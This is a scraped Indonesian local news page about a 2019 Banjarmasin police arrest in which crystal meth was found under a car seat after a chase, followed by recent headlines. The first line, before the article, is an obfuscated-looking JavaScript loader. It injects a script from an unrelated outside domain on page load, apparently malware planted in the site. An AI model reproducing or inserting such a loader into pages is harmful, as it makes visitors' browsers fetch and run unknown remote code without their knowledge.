(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Sempat Kejar-kejaran dengan Polisi, Sabu 19,22 Gram di Bawah Jok Mobil Ayla


BANJARMASIN, Tiga paket besar nakoba jenis sabu seberat 19,22 gram berhasil digagaledarkan anggota Satuan Reserse Narkoba Polresta Banjarmasin, Minggu (31/3/2019). Penangkapan berawal dari penggeledah sebuah mobil Daihatsu Ayla warna hitam, di dalam mobil ditemukan satu plastik kresek hitam yang berisi tiga paket besar sabu-sabu.

Awalnya polisi mendapatkan informasi ada seseorang membawa narkotika jenis sabu menggunakan mobil Daihatsu Ayla di Jalan Veteran, kota Banjarmasin.

“Kami geledah mobil tersebut, ternyata di bawah jok mobil ditemukan barang bukti tiga paket sabu,” kata Kasat Resnarkoba Polresta Banjarmasin Kompol Herry Purwanto, Minggu (31/3/2019). Petugas melakukan penyelidikan, dengan membuntuti pelaku, setelah mengetahui dan sempat terjadi kejar-kejaran di jalan, akhirnya petugas dapat menghentikan mobil pelaku.

Mobil berhenti dan akhirnya pelaku ditangkap di Jalan Manarap Tengah, Komplek Griya Indah Lestari RT 06 Desa Manarap Tengah, Kecamatan Kertak Hanyar, Kabupaten Banjar.

Usai menghentikan mobol pelaku yang diketahui berinisial AR alias Fi’i (46) warga Veteran Gang Merpati, Kelurahan Melayu, Kecamatan Banjarmasin Tengah, petugas melakukan penggeledahan dan didapati plastik hitam berisi 3 paket sabu seberat 19,22 gram.

“Sabu itu disembunyikan Fi’i di bawah kursi jok mobil sebelah kiri,” ucap perwira lulusan Akpol angkatan 2002 itu.

Herry -panggilan akrab Kasat Resnarkoba- menambahkan, penangkapan terhadap Fi’i dilakukan pada sekitar pukul 23.40 Wita.

Atas temuan barang bukti tiga paket besar sabu itu akhirnya pelaku digiring ke Polresta Banjarmasin menjalani pemeriksaan dan proses hukum. Fi’i pun ditetapkan sebagai tersangka dijerat dengan pasal 112 ayat (2) UU RI No 35 Tahun 2009 Tentang Narkotika dengan ancaman hukuman minimal lima tahun penjara.

“Kasus ini terus kami kembangkan untuk mengetahui jaringan tersangka dan asal usul sabu tersebut,” tandasnya. (mario)

Reporter: Mario
Editor: KK

Desy Arfianty

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

7 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

9 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.